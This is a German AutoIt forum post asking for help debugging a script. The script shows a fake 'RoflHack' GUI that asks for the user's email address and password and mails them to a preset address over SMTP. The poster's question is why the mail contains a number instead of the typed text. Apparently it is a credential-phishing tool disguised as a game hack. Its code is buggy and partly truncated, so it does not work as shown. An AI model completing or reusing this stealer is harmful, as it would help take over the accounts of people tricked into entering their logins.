Hallo Autoit-Forum
Ich komme heute zu euch weil ich am Verzweifeln bin unszwar ist das Problem, das der E-Mailsender den Falschen bzw. nicht gewollten Text schreibt.
Ich möchte, das die Infos die man in die Input-Felder eintippt das die nach dem betätigen des Knopfes an die E-Mailaddresse gesendet wird aber das einzige Problem das bestht, ist das ich nicht den gewollten Text bekomme sondern eine Zahl -.-?!?
Meine Frage ist nun ist das ein simpler Fehler von mir oder ist es nicht möglich das so zu machen wie ich will
]#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Include<file.au3>
#Region ### START Koda GUI section ### Form=c:\users\hungry horst\desktop\rofl koda.kxf
$Form1_1 = GUICreate("RoflHack", 278, 210, 192, 124)
GUISetIcon("C:\Program Files\Rofl - Copy\Rofl.exe")
$Label1 = GUICtrlCreateLabel("Benutzer Email Adresse :", 8, 8, 121, 17)
$Label2 = GUICtrlCreateLabel("Passwort :", 8, 56, 53, 17)
$Label3 = GUICtrlCreateLabel("Menge (max 1000) :", 8, 112, 127, 17)
$Button1 = GUICtrlCreateButton("Start Hack", 8, 168, 97, 33, $WS_GROUP)
GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
$Icon1 = GUICtrlCreateIcon("C:\Program Files\Rofl\Rofl.exe", -1, 208, 136, 48, 48, BitOR($SS_NOTIFY,$WS_GROUP))
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
$SmtpServer = "smtp.web.de"
$FromName = "Peter"
$FromAddress = ""
$ToAddress = ""
$Subject = "Rofl Hack"
$Body = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
GUICtrlCreateInput("Menge (max 1000) :", 8, 136, 161, 21)
$AttachFiles = ""
$CcAddress = ""
$BccAddress = ""
$Importance = "High"
$Username = ""
$Password = ""
$IPPort = 25
$ssl = 0
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Case $Button1
$rc = _INetSmtpMailCom ($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
Exit
[/autoit][autoit][/autoit][autoit]EndSwitch
WEnd
Func _INetSmtpMailCom ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="High", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 1)
$objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Cc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then
$objEmail.HTMLBody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
Else
$objEmail.Textbody = GUICtrlCreateInput("Benutzer Email Adresse :", 8, 32, 161, 21)
GUICtrlCreateInput("Passwort :", 8, 80, 161, 21)
GUICtrlCreateInput(" Menge (max 1000) :", 8, 136, 161, 21)
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $ex = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
$i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $S_Files2Attach[$x]
SetError(1)
return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Sent the Message
$objEmail.Send
if @error then
SetError(2)
return $oMyRet[1]
EndIf
EndFunc;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number,
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description,3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc;==>MyErrFunc